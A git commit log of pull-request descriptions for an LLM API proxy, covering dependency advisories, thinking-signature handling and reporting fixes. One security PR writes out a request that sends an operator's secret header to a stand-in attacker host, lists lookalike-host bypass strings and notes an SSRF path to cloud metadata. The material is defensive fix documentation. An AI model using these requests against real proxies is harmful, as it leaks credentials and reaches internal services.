- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Deliberately **not** bundled here, each worth its own change:

- **`npm` has no audit gate at all** — no `npm audit` anywhere in
`.github/`. Current npm exposure is only `nanoid` 3.3.17
(GHSA-2v37-7h3g-55p8) in three lockfiles, all `dev: true`, which GitHub
auto-dismissed correctly. Low stakes today, but the gate is absent
rather than passing.
- **`pip-audit` only audits `--extra all`**, which excludes the
integration extras (`crewai`, `agno`, `autogen`, `langchain`, `strands`,
`bedrock`, `memory-stack`, `sandbox`). Every Python advisory currently
open against this repo lives in exactly that blind spot — GitPython via
`agno` (#3120), chromadb and json-repair via `crewai`. Dependabot
catches them because it scans the whole lock; the CI gate structurally
cannot.
- **Dependabot's `docker` ecosystem is configured for `directory: /`
only**, so the five non-root Dockerfiles get no base-image updates.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-19 14:19:46 -07:00
Tejas Chopra 709d74cd78 test(proxy): pin down what Anthropic's thinking signature actually covers (#3135)
## Why

#3124 relaxed the signed-thinking lock on the premise that **the
signature seals the thinking block, not the request**. Nothing in
Anthropic's public docs states the scope, so that premise was inference
— and it shipped **on by default**. This measures it instead.

## Result

Each test replays a turn holding a real signed thinking block, mutates
exactly one part, and asserts the request is still accepted. **Identical
on all five models tested** — `sonnet-4-5`, `opus-4-5`, `sonnet-4-6`,
`sonnet-5`, `opus-5`:

| mutation | status |
|---|---|
| exact replay (control) | 200 |
| compress a `tool_result` in a later user message — *what we actually
do* | 200 |
| rewrite sibling `text`/`tool_use` blocks **inside the assistant
message holding the thinking block** | 200 |
| rewrite top-level `system` + tool descriptions (schema compaction,
tool-search deferral) | 200 |
| re-serialize the body with reordered keys (canonical encode) | 200 |
| **forge the signature** | **400** invalid signature in thinking block
|

## The two tests that matter

**The sibling case** is the gap the fingerprint cannot close by
inspection. `thinking_blocks_survived_mutation` proves the thinking
blocks are byte-identical, but says nothing about their *neighbours in
the same assistant message*. If the seal covered the whole assistant
turn, a compressed sibling would break it and the fingerprint would wave
it through. It doesn't.

**The forged-signature test is the negative control**, and the
load-bearing test in the file. Without it, a wall of green would be
equally consistent with *"Anthropic never validates signatures on this
request shape"* — which would make every other assertion here vacuous.
It 400s, so validation is live and the acceptances carry information.

This also disproves #2254's stated cause directly: a plain canonical
re-encode changes the bytes and is accepted. Those 400s were real, but
were never traced to their true trigger.

## Scope

- Gated behind `pytest.mark.live`, skipped without a key. Verified it
skips cleanly (`6 skipped`) and deselects under `-m "not live"`, so CI
is unaffected.
- Model override via `HEADROOM_LIVE_THINKING_MODEL`.
- Also replaces the speculative risk note in `body_forwarding.py` with
the measured finding.

The relaxation still only forwards when every thinking block is
byte-identical — narrower than this evidence permits — so these results
are headroom, not the safety margin.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 14:13:26 -07:00
Tejas Chopra 284ff31947 fix(proxy): stop a lone surrogate turning a thinking body into a 500 (#3134)
## What

`serialize_body_canonical` uses `ensure_ascii=False`, so a lone
surrogate anywhere in the body raises `UnicodeEncodeError` at
`.encode("utf-8")`.

This is reachable input, not a hypothetical:
- `"\ud800"` is **valid JSON** — `json.loads` accepts it happily
- a tool result carrying truncated UTF-16 or sliced binary produces one

Both forwarders resolve outbound bytes **outside** their
connection-retry loop (`streaming.py:1131`, `server.py:2170`), so the
exception escapes as an **unretried 500**.

## Why now

#3124 made this newly load-bearing. Before it, a mutated
thinking-bearing body returned the client's bytes verbatim and **never
reached canonical serialization at all**. Now it does — so the largest,
most tool-result-heavy population in Claude Code traffic depends on this
not raising.

Reproduced against `main`:

```
serialize_body_canonical RAISES: UnicodeEncodeError: 'utf-8' codec can't
  encode character '\ud800' in position 91: surrogates not allowed
select_outbound_body RAISES: UnicodeEncodeError: ...
```

## The fix

Fall back to the escaped encoding on `UnicodeEncodeError`.

**Why this and not passthrough.** Falling back to the client's original
bytes would silently drop every mutation — including the handler's
`stream` flip — and diverge from `outbound_body_is_client_bytes`, which
cannot predict a serialization failure without doing the serialization.
That reintroduces the #2952 buffered/streamed mismatch. The escaped form
keeps all mutations on the wire.

It encodes the **identical parsed values**, so upstream reconstructs
exactly the same request and the signed thinking blocks round-trip
untouched (asserted in the test). Only the byte-level encoding differs,
costing one cache miss on a request that would otherwise have failed
outright. Normal bodies are unaffected — the fast path is unchanged and
still emits compact non-ASCII.

## Test

`test_lone_surrogate_in_thinking_body_serializes_instead_of_raising` —
asserts no raise, `source == "canonical"`, mutation preserved, and the
signed block round-tripping to exactly the client's values.

Local: 78 passed across `test_proxy_byte_faithful_forwarding.py` +
`test_ccr_buffered_stream_signed_thinking.py`; 191 passed across all
serialization-touching tests. ruff + mypy clean.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 13:58:21 -07:00
Tejas Chopra df6ff6bd5b fix(deps): bump datasets past PYSEC-2026-3716 (#3136)
## Why this is urgent

`datasets` 4.5.0 picked up **PYSEC-2026-3716** — path traversal in
folder-based dataset builders, where an unvalidated `file_name` metadata
field is joined to the dataset directory, so crafted traversal sequences
can read arbitrary local files into output on
`save_to_disk`/`push_to_hub`.

**The advisory was published today between 07:17 and 15:35 UTC.**
`main`'s audit passed at 07:17 on `17522fb0`; every PR run after 15:35
fails. So `Dependency audit (pip-audit)` is now **red repo-wide and
blocks all open PRs**, not just one.

## Exposure

Negligible for us. `datasets` is confined to the `evals` and
`voice-train` extras, and every call site in the repo uses
`load_dataset` against public Hub datasets — we never build folder-based
datasets from untrusted metadata, and never call
`save_to_disk`/`push_to_hub` on them.

But the gate audits the `[all]` production set and fails on any
actionable finding, so it has to be resolved rather than waived.

## The change

Bump both extras to `>=5.0.1` and relock. `load_dataset` — the only API
this repo touches — is unchanged across 2.x → 5.x.

Lock diff is **5 lines, `datasets` alone**; nothing else re-resolved.

## Verification

Ran the workflow's own command locally (`uv export --frozen --no-dev
--no-emit-project --no-hashes --extra all`, audited under Python 3.12 to
match CI):

```
No known vulnerabilities found
```

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 13:23:36 -07:00
Tejas Chopra 17522fb0a1 fix(proxy): scope the signed-thinking lock to blocks that actually changed (#3124)
## Description

Anthropic signs the thinking **block**, not the request — the signature
covers that block's own content. #2254 responded to real 400s by
freezing the **entire body** whenever any thinking block appeared
anywhere in history. That protects bytes no signature covers, including
top-level `tools` and `system`, which are not even inside `messages`.

Measured on 227,777 lines of real proxy logs from a user reporting ~1%
savings:

- **618 of 1,802 requests (34.3%)** had every computed compression
discarded. **100%** were `client=claude-code`; Codex/GPT traffic was
untouched.
- One session logged turn 1 saving 428 tokens, then **229 consecutive
turns saving exactly 0**.
- **491.9s — 34.2% of all optimization time** — was spent computing
compressions that were then thrown away. One request paid 21.2s to
compute a real 8.0% reduction that never shipped.
- It orphaned the turn-1 cache prefix on **12 of 35** sessions,
corroborated by Headroom's own `CACHE-MISS-ATTRIBUTION` events (21/21
are `reason=prefix_change`, **none** TTL expiry), with an exact token
match: `expected_cached=27,541` equalling turn 1's write.

## Changes Made

- Replace the presence test with a **positional, order-sensitive
fingerprint** of every `thinking` / `redacted_thinking` block, compared
against the client's original. Byte-equal blocks → forward the edits.
Any difference (edited text, edited signature, dropped, reordered,
moved) or any failure to prove equality → today's verbatim passthrough.
Keys are sorted so a dict rebuilt in a different order is not mistaken
for an edit.
- `outbound_body_is_client_bytes` mirrors the relaxation exactly, or the
CCR buffering probe and the forwarder would disagree and re-create #2952
in reverse.
- The #2990/#3015 accounting reset now **recomputes** the lock
immediately before use instead of reusing the probe taken before the CCR
branch. The predicate tests block *content* now, and
`enforce_cache_control_ttl_order` rewrites `body["messages"]` in
between, so the early answer can go stale. (Latent before this PR;
load-bearing after.)
- **Perf:** parse the client body once per decision, plus a substring
prescreen. A 9.3 MB body (the real production maximum) could otherwise
be parsed four times per request on a stage that already carries a 30s
timeout whose expiry quarantines compression process-wide.

## Rollout safety

**On by default at the maintainer's explicit direction.**
`HEADROOM_THINKING_PRESERVING_MUTATIONS=0` restores the previous blanket
lock with no deploy.

The risk is recorded in the module rather than smoothed over: #2254's
stated cause — a plain canonical re-encode — cannot alter parsed values
and therefore cannot by itself invalidate a signature, and that report's
own log shows a transform (`tool_search_deferral`) firing on the failing
turn. So the stated cause does not hold up, **but the failure was real
and its true trigger was never isolated.** This relaxation is strictly
narrower than what broke: it forwards edits only when every block is
provably identical, which is the property the blanket rule was a crude
proxy for.

## Testing

```text
uv run pytest tests/test_proxy_byte_faithful_forwarding.py tests/test_ccr_buffered_stream_signed_thinking.py \
              tests/test_proxy/test_anthropic_ccr_deferred_injection.py
92 passed
uv run mypy headroom/proxy/body_forwarding.py headroom/proxy/handlers/anthropic.py  # Success
uv run ruff check . && ruff format --check .  # clean
```

Existing tests that encoded the blanket lock were **re-pointed at the
correct trigger, not deleted** — each now tampers with a thinking block
so it still guards what it was written for.
`test_signed_thinking_discarded_mutation_uses_wire_truth_for_all_accounting`
(#3015) now runs under the kill switch, which proves both that the
accounting neutralisation still works and that the env-var rollback is a
complete restoration.

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch, byte-capturing
transport.
- **After-fix evidence** — end-to-end through `/v1/messages` with a
signed thinking block in history and a compactable tool schema
(`test_untouched_thinking_lets_tool_compaction_reach_the_wire`): the
annotation keys the compaction strips (`$schema`, `title`) are **absent
from the captured upstream bytes**, and
`wire["messages"][1]["content"][0]` is **byte-identical to the client's
signed block**. Under the kill switch the same request forwards the
client's bytes unchanged with accounting zeroed.
- **Parse-count measured, not assumed:** 7.2 MB thinking-bearing body →
2 parses became 1. 2 MB body with no thinking blocks (~2 of 3 requests)
→ 1 parse became **0**, i.e. faster than before this feature existed.
- **Projected effect on the reporting user's traffic**, derived from
their unlocked requests: Claude Code headline **2.27% → roughly 5–6%**.
Their unlocked requests already achieve 5.62% overall and 7.2–7.4% in
the 20K–150K band, which matches our fleet beacon (~8%); the 2.27% is a
blend where 60% of tokens sat in requests that shipped nothing.
- **NOT tested: live paid Anthropic traffic with a real signed thinking
block.** This is the one thing that matters most and I could not do it
here. The signature-verification behaviour is Anthropic's, and no local
test can prove it accepts a re-serialized body carrying an untouched
block. **Please validate on live traffic before relying on the
default.** Watch for 400 `invalid_request_error` mentioning `thinking`,
and `CACHE-MISS-ATTRIBUTION reason=prefix_change` rates.

## Known risk not eliminated

Enabling this changes the wire bytes for in-flight sessions, so expect a
**one-time prefix change** on the first affected turn of each live
conversation. Supporting evidence that this is bounded: canonical
serialization is already the norm for the ~66% of traffic without
thinking blocks, and that traffic sustains a 94.3% cache hit rate.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:17:01 -07:00
Tejas Chopra 250ede2f7f fix(reporting): show net vs gross savings, real skip thresholds, and the effective profile (#3123)
## Description

Six reporting/config defects found while investigating a user reporting
~1% savings on Claude Code. **None of these changes how much Headroom
compresses** — all of them change whether an operator can tell what it
did. Every one was found by reading that user's own 227,777 lines of
proxy logs against the code.

## Changes Made

- **`perf/analyzer`: parse and render `tok_inflated`.** Every PERF line
carried it; nothing downstream read it. The report could print
`321,239,562 -> 313,274,727` directly above `8,455,763 saved` — two
figures that differ by exactly the 490,928 tokens of inflation it
omitted.
- **`content_router`: report the real skip thresholds.** The routing
summary hardcoded `skipped (<50 words)` regardless of what was in force.
Wrong number (the message gate is `min_tokens`, 10–250 by profile),
wrong unit (tokens and characters, never words), and it merged two
different gates under one label.
- **`perf/analyzer`: disclose that Transform Effectiveness is partial.**
It is built only from `pipeline.py`'s `Transform NAME:` lines.
`compression_units.py` / `compression_batches.py` contain zero logging
calls, so the table read `content_router: 189,783 saved` against a PERF
total 44x larger. Reports the divergence rather than a coverage ratio —
the two are different populations and neither contains the other (those
lines carry no request_id, fire per stage, and are emitted before the
forwarder decides).
- **`perf/analyzer`: disclose the routing denominator.** Percentages
were taken over 4 of the router's 17 outcome buckets, silently dropping
buckets larger than several it displayed.
- **`savings_tracker`: stop dropping tool-schema dollars.**
`estimate_request_savings_usd` prices four buckets; `record_request`
read three. `tool_schema` was computed and discarded, so a quarter of
the token headline never reached "Cost saved". The two inputs are
disjoint (verified at the call site), so this is additive, not
double-counting.
- **`agent_savings`: an unknown profile no longer degrades to
`balanced`.** `balanced` is a different product posture from the default
`coding`: cache→token mode, dedup off, tool-search off, user messages
uncompressed, message floor 25x higher, block floor 20x higher. A typo
in `HEADROOM_SAVINGS_PROFILE` silently reconfigured the whole proxy. Now
degrades to `DEFAULT_PROFILE` and names the resolved profile in the
warning.
- **`agent_savings`: give `min_chars_for_block` a config-object path.**
Every other router pipeline kwarg travels on the config object; this one
alone was env-only, so an unseeded proxy applied every sibling `coding`
knob while this floor stayed at 500 instead of 25.
- **`server`: log the resolved compression posture at startup**, reading
cross-turn dedup off the constructed router rather than the environment
(the router resolves it as `config OR env`, so reading env alone would
be a guess).

## Testing

- [x] Unit tests pass, [x] ruff, [x] mypy, [x] new tests added

```text
uv run pytest tests/ -k "content_router or agent_savings or perf or analyzer or savings or proxy_server or cli_perf or prometheus"
620 passed, 25 skipped
uv run mypy headroom  # Success
uv run ruff check . && ruff format --check .  # clean
```

## Real behavior proof

- **Setup:** macOS arm64, Python 3.12, this branch. Input: 60 MB /
227,777 lines of real proxy logs from the reporting user (6 rotated
files, 2,792 PERF lines, 2026-08-17 → 2026-08-19).
- **Steps:** pointed `headroom.perf.analyzer.LOG_DIR` at that directory
and rendered the report before and after the patch.
- **After-fix output (real data, unmodified):**

```text
Requests:     2792
Tokens:       321,288,161 -> 313,323,326 (2.6% messages)
Tokens saved: 11,158,901 (3.4% reduction)
  · inflated      490,928 (net message reduction 7,964,835)
  · messages       8,455,763
  · tool schemas   2,703,138
  ! stage-level total 190,641 != PERF message total 8,455,763 — this table sees only
    engines that emit a Transform line, counts per stage, and does not check whether
    the mutation shipped
  Skipped:     44641 (77%) — below size floor
  (shares are of these 4 buckets only, n=58319; see `[router] route_counts=` for the
   full outcome space)
```

The arithmetic now closes on the page: `8,455,763 - 490,928 =
7,964,835`, matching the token delta exactly. Before the patch none of
the three annotated lines existed and the `Skipped` line claimed `<50
words`.

- **Profile resolution verified by execution**, not inspection —
subprocesses with controlled env:

```text
vanilla (nothing set)          mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
HEADROOM_SAVINGS_PROFILE=coding  mode=cache dedupe=1 tool_search=1 min_tokens=10  min_chars=25
unknown profile name (before)  mode=token dedupe=0 tool_search=0 min_tokens=250 min_chars=500
unknown profile name (after)   -> resolves to `coding`, warning names it
coding, seeding never runs     min_chars=25 (was 500 before this patch)
```

- **Not tested:** live paid Anthropic traffic. These are
reporting/config surfaces; the wire path is untouched by this PR.

## Review readiness

- [x] Self-reviewed. Three overclaims in my own first draft were
corrected before this PR: a false subset claim in the Transform
Effectiveness note, a comment asserting `min_chars_for_block` was the
*only* env-only field (it is the only env-only *router pipeline kwarg*;
`cross_turn_dedup`, `tool_search`, `protect_reads`, `code_aware`,
`effort_router`, `lossless` remain env-only via a different mechanism
and are **not** fixed here), and a money-path expression that relied on
`a + b if c else d` grouping.

## Known remaining (deliberately out of scope)

- `Requests: N` still overcounts: the Codex WS forwarder reuses one
`request_id` across every turn (one observed 156x), plus ~18 duplicate
PERF emissions.
- `compression_units.py` / `compression_batches.py` remain unlogged —
this PR *discloses* the blind spot rather than closing it.
- The headline stays **gross**. True net is `11,158,901 - 490,928 =
10,667,973` (3.3%, not 3.4%). Making net the headline lowers every
user's reported savings ~4.4%; that is a product call, not mine, so the
inflation is surfaced beside it instead.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-19 00:16:37 -07:00
Tejas Chopra 05f5ef47cb fix(proxy): stop operator secrets following a client-chosen upstream (#3122)
## Description

`x-headroom-base-url` lets a client choose the upstream for a single
request — a deliberate, documented feature for routing to
OpenAI-compatible gateways. `*_extra_headers` is operator-configured,
marked `secret=True` in the settings store, and its own help text uses
an API key as the example value.

The two met in the wrong order:

```
openai.py:3127   headers = merge_extra_headers(headers, self.config.openai_extra_headers)
openai.py:3134   upstream_base_url = _resolve_openai_upstream_base(request.headers)
```

The secret was merged **before** the destination was resolved. So:

```
POST /v1/messages
X-Headroom-Base-Url: https://attacker.example
```

reached the attacker's host **carrying the operator's gateway key**. One
request, no user interaction, from anything able to reach the proxy port
— a malicious postinstall script, a compromised transitive dep, a second
agent session. Same shape on the Anthropic Messages route
(`anthropic.py:1091`) and on `/v1/responses` (`openai.py:5120`, whose
override resolves 300 lines later at `:5420`).

Without `*_extra_headers` configured the same primitive is still a plain
SSRF, but that is the pre-existing behavior of a documented feature;
**this PR fixes the credential leak, not the routing.**

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- **`headroom/proxy/upstream_trust.py`** (new) — the policy. A secret
only travels to a host the operator designated: one of the resolved
provider API targets, or a host in `HEADROOM_UPSTREAM_ALLOWED_HOSTS`.
This is the rule `copilot_auth.is_copilot_upstream_url` already applies
to Headroom's own Copilot token, generalized.
- **`merge_extra_headers` now takes a required keyword-only
`upstream_url`.** This is the actual fix. An optional parameter would
have closed three call sites and left the tenth forwarder free to
reintroduce the bug; a required one means a forwarder *cannot merge a
secret without declaring where it goes*. All nine call sites updated —
the three client-controllable ones pass the resolved override, the six
config-derived ones pass `None`.
- Undesignated upstreams are **still proxied**, just without the secret,
and the refusal logs once per host (not per request) with the remedy in
the message.
- Docs updated in `configuration.mdx` and `pipeline-extensions.mdx`.

Matching is on the parsed hostname, never the URL string. Whole-string
comparison lets `https://api.anthropic.com@evil.example` through, and
makes a base URL match while base+path does not — that exact asymmetry
is how a gate ends up covering routing but not the credential attach.
Exact hostname equality, no wildcards.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Integration tests pass
- [x] Manual testing performed

### Test Output

```text
tests/test_upstream_credential_scoping.py            15 passed   (new)

Regression sweep (-k "proxy or header or copilot or codex or anthropic or openai or upstream"):
  3340 passed, 163 skipped, 1 failed in 164.56s

The single failure is tests/test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
("assert 'Bash' in {'exec', 'followup_task', ...}"). Verified pre-existing:
it fails identically on a clean origin/main worktree.

ruff check: All checks passed
ruff format --check: 7 files already formatted
mypy headroom/proxy/upstream_trust.py: Success, no issues found
```

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main`, `_core.abi3.so` copied in so the extension imports.
- Exact command / steps: built the exploit as an end-to-end test — a
`TestClient` app with `anthropic_extra_headers={"Api-Key":
"corp-gateway-secret"}` and a capturing transport, then `POST
/v1/messages` with `X-Headroom-Base-Url: https://attacker.example`,
asserting on the headers the transport actually received. **Then
disabled only the new gate (leaving the signature intact) to confirm the
test reproduces the original vulnerability.**
- Observed result: with the gate disabled the test fails with the secret
visibly on the wire —

  ```
AssertionError: assert 'api-key' not in {..., 'api-key':
'corp-gateway-secret', ...}
  ```

With the gate restored, 15/15 pass. The companion test asserts the
request still reached `attacker.example` and still carried the
*client's* own `x-api-key`, so the fix withholds the operator's
credential without breaking the routing feature or the client's auth.
Lookalike hosts (`api.anthropic.com@evil.example`,
`api.anthropic.com.evil.example`, scheme-less values, `://`) are covered
by parametrized cases.
- Not tested: no live upstream was contacted — all uses a capturing
`httpx` transport. The WebSocket forwarders (`openai.py:6606`,
`codex/live.py:131`) pass `upstream_url=None` because their destination
is config-derived; that classification is verified by reading the
callers (`_api_target(proxy, "openai")`,
`codex_responses_websocket_url()`), not by a test.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: **Yes, deliberately.** If an operator
today configures `*_extra_headers` *and* routes via
`x-headroom-base-url` to a host that is not a configured provider
target, those headers stop being sent. That is the vulnerability, so the
change is the point — but it is a real behavior change for that setup,
which is why the log line names the host and the env var to fix it.
- Kill switch / disable path: `HEADROOM_UPSTREAM_ALLOWED_HOSTS=<host>`
restores delivery for a named host. There is deliberately no global
"off".
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert the commit.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found during the same audit, **not fixed here** — each wants its own
change:

- **The plain SSRF remains by design.** With no `*_extra_headers`
configured, a client can still make the proxy issue an arbitrary request
to an arbitrary host (cloud metadata at `169.254.169.254`, internal
admin panels) and read the response. Closing that means either an opt-in
requirement for the header or private-IP blocking, and private-IP
blocking would break the common local-gateway setup (LiteLLM on
`127.0.0.1`). Worth a deliberate decision rather than a silent change
here.
- **CORS is the only thing keeping this off the web.**
`x-headroom-base-url` is a non-simple header so it forces a preflight,
and the default origin regex is loopback-only. Setting
`HEADROOM_CORS_ORIGINS=*` would make the above reachable from any web
page.
- The `/v1/*` data plane has no authentication for loopback callers even
when `HEADROOM_PROXY_TOKEN` is set (`server.py:3368` exempts loopback),
so "any local process" is the realistic attacker for all of the above.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
2026-08-18 22:27:25 -07:00
Tejas Chopra 8156d4dc3a fix(deps): raise the GitPython floor to 3.1.58 to clear 9 open advisories (#3120)
## Description

The reported advisory — **GHSA-956x-8gvw-wg5v** (High; command injection
via unguarded Git options in `Repo.archive()` / `git.ls_remote()`,
arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`) —
is fixed in GitPython **3.1.51**, and the lock already resolved to
**3.1.54**. So that specific advisory was not live exposure.

Checking the alert list rather than that one advisory turned up the real
problem: **nine other GitPython advisories are open against `uv.lock`**,
and 3.1.54 is inside all of their ranges.

| advisory | severity | affected | fixed in |
|---|---|---|---|
| GHSA-hmq2-w58f-27jc | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-jm78-9fvv-mhgr | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-wvpp-8hx9-p66j | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-9rj7-rf2p-w77r | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-4gmw-gg2m-w46p | High | ≤ 3.1.57 | 3.1.58 |
| GHSA-hh9p-6wh2-4mfc | Medium | ≤ 3.1.57 | 3.1.58 |
| GHSA-3f7w-8rr8-f37f | High | ≤ 3.1.56 | 3.1.57 |
| GHSA-539m-9xh6-q6rr | Medium | ≤ 3.1.56 | 3.1.57 |
| GHSA-p538-c434-8v24 | Medium | ≤ 3.1.55 | 3.1.56 |

The existing `[tool.uv] constraint-dependencies` floor was
`gitpython>=3.1.50`, set for an earlier batch, and had gone stale.

**Reachability:** GitPython is a transitive dependency (via `agno`) and
is imported nowhere in `headroom/`. This is a supply-chain floor bump,
not a fix to code we call.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `pyproject.toml`: raised the `constraint-dependencies` floor from
`gitpython>=3.1.50` to `>=3.1.58`, following the file's existing pattern
for transitive security floors, and replaced the stale comment with the
advisories it now covers. 3.1.58 is the highest fixed version across
**every** GitPython advisory published to date, so the floor clears all
of them rather than only the newest.
- `uv.lock`: regenerated with `uv lock --upgrade-package gitpython`;
resolves 3.1.54 → 3.1.59.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Manual testing performed

### Test Output

```text
tests/test_optional_dependencies.py tests/test_litellm_optional.py
tests/test_mcp_dependency_contract.py tests/test_onnx_dependency_contract.py
tests/test_toin_publish.py tests/test_release_workflows.py
1 failed, 61 passed, 1 skipped

Lock delta (263 packages before and after):
  ADDED   : none
  REMOVED : none
  CHANGED : {'gitpython': ('3.1.54', '3.1.59')}
```

The single failure is `test_no_native_tls_in_wheel_build_tree`,
pre-existing and environmental (no `cargo` on this machine); it fails
identically on a plain-`main` checkout.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, `uv` resolver,
worktree off `main` @ `b77d6129`
- Exact command / steps: (1) enumerated open Dependabot alerts and
cross-checked each against the GitHub advisory DB for GitPython to find
the highest required fixed version; (2) raised the floor and ran `uv
lock --upgrade-package gitpython`; (3) parsed both lockfiles and diffed
the full package→version map to confirm the blast radius; (4) ran the
dependency-contract test files.
- Observed result: resolver reports `Updated gitpython v3.1.54 ->
v3.1.59`. Full package-map diff shows 263 packages before and after with
**nothing added or removed and gitpython the only version change** — the
remaining ~230 lines of `uv.lock` diff are block reordering, not
content. `agno` declares gitpython with no version bound, and the clean
resolve confirms 3.1.59 satisfies every constraint in the graph.
- Not tested: no runtime exercise of GitPython itself, because nothing
in `headroom/` imports it — the meaningful integration check is the
`test-agno` CI job, which exercises the one package that does depend on
it.

## Runtime Rollout Safety

- Rollout-managed feature(s): None.
- Minimum rollout channel: n/a
- Stable/default behavior changed: No. Dependency floor only; no
`headroom` code changed.
- Kill switch / disable path: n/a — reverting the commit restores the
previous floor.
- Unsafe override required: No.
- Qualification impact: None.
- Rollback path: Revert this commit and re-run `uv lock`.

## Review Readiness

- [x] I have performed a self-review
- [x] This PR is ready for human review

## Additional Notes

Found while investigating, **not fixed here**: the committed `sbom/`
snapshot is broadly stale — 37 packages disagree with `uv.lock`,
including `gitpython` (3.1.50) and `cryptography` (48.0.1 vs 50.0.0).
Nothing validates it against the lock; `publish.yml` generates a fresh
SBOM into `dist/` at release time, so the committed copy is a
point-in-time artifact. It is misleading for a security-facing file to
report a vulnerable version, but refreshing it is a separate change with
a large unrelated diff — worth its own issue.

Co-authored-by: Tejas Chopra <tejas@Tejass-MacBook-Pro.local>
Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
2026-08-18 21:45:40 -07:00
Tejas Chopra b77d612913 fix(copilot): send VS Code inline completions to the host that serves them (#3112)
## Description

#3077 stopped Copilot's inline completions being forwarded to
`api.openai.com` (the corporate-blocked host in the original report) —
but sent them to the **CAPI host**, which does not serve that endpoint.

Copilot has two surfaces on two different hosts, and GitHub's own client
library keeps them apart:

```js
_getCAPIUrl(t)  -> t?.endpoints.api   || "https://api.githubcopilot.com"
_getProxyUrl(t) -> t?.endpoints.proxy || DEFAULT_PROXY_BASE_URL
DEFAULT_PROXY_BASE_URL = "https://copilot-proxy.githubusercontent.com"
```

building completions as
`${proxyBaseURL}/v1/engines/<engine>/completions` (`@vscode/copilot-api`
0.5.2). Probed unauthenticated against the live hosts:

| host | `POST /v1/engines/<e>/completions` |
|---|---|
| `copilot-proxy.githubusercontent.com` | **401** — exists, needs auth |
| `proxy.individual.githubcopilot.com` | **401** — CNAME to the above |
| `api.githubcopilot.com` | **404** — does not serve this path |

So the destination #3077 chose could not have worked. Three separate
defects were in the way, each sufficient on its own to keep completions
broken.

## Type of Change

- [x] Bug fix (non-breaking change that fixes an issue)

## Changes Made

- `copilot_auth.py`: added `DEFAULT_COMPLETIONS_PROXY_URL` and made it
the default in `copilot_completions_base_url()`, replacing the CAPI
host.
- `copilot_auth.py`: the "custom deployment keeps its own host" rule now
excludes public Copilot hosts. Without this, `headroom wrap vscode` —
the common setup, and the one that exports
`GITHUB_COPILOT_API_URL=<resolved subscription URL>` — resolved straight
back to the 404 host. **This was a bug in my own first cut of the fix,
found by testing the real `wrap vscode` environment rather than just the
routing table.**
- `copilot_auth.py`: added `is_copilot_completions_host()` and
`is_copilot_upstream_url()` (chat ∪ completions). The completions host
was recognised as Copilot **nowhere**, so `apply_copilot_api_auth`
attached no credentials (401 — routing correctly to a host we then
failed to authenticate against) and `build_copilot_upstream_url` skipped
`mark_request_routed_to_copilot()`, mislabelling the provider in
telemetry.
- The union is applied at exactly those two call sites.
`is_copilot_api_url` is left alone, so validation of a token payload's
`endpoints.api` and the Responses-API preference check keep their strict
chat-only meaning. All six call sites were read before choosing this.
- `proxy_targets.py`: the "already a Copilot host" guard now keys on the
*completions* host. A CAPI host is not a completions host, so it must
still be redirected; a genuine per-SKU completions host or operator
override is still left untouched.
- `providers/copilot/vscode.py`, `cli/wrap.py`,
`docs/…/vscode-copilot.mdx`: stop writing/printing
`github.copilot.advanced.debug.overrideAuthType`. No such setting exists
in the modern Copilot Chat extension — the only one left after
`GitHub.copilot` was deprecated in early 2026. Its full `advanced.*`
surface is `authPermissions`, `authProvider`, `debug.overrideCapiUrl`,
`debug.overrideProxyUrl`, `debug.use*Fetcher`. It is still *recognised*
so a stale hand-written copy is detected, just never emitted.

## Testing

- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] New tests added for new functionality
- [x] Manual testing performed

### Test Output

```text
tests/test_copilot_vscode_completions_routing.py  59 passed
Copilot-related suites                           293 passed, 8 skipped

Full suite:
3 failed, 11250 passed, 581 skipped in 342.50s
```

The 3 failures are pre-existing and environmental, identical to a
plain-`main` baseline on this machine: no `cargo`
(`test_no_native_tls_in_wheel_build_tree`), no `codex` CLI
(`test_learn/test_integration.py`), and
`test_run_server_installs_cancelled_error_filter`, which fails under
full-suite ordering on `main` too.

## Real Behavior Proof

- Environment: macOS (darwin 25.4.0), Python 3.12.13, worktree off
`main` @ `139c7cbd`, `HEADROOM_SKIP_UPSTREAM_CHECK=1`
- Exact command / steps: (1) composed the real request path —
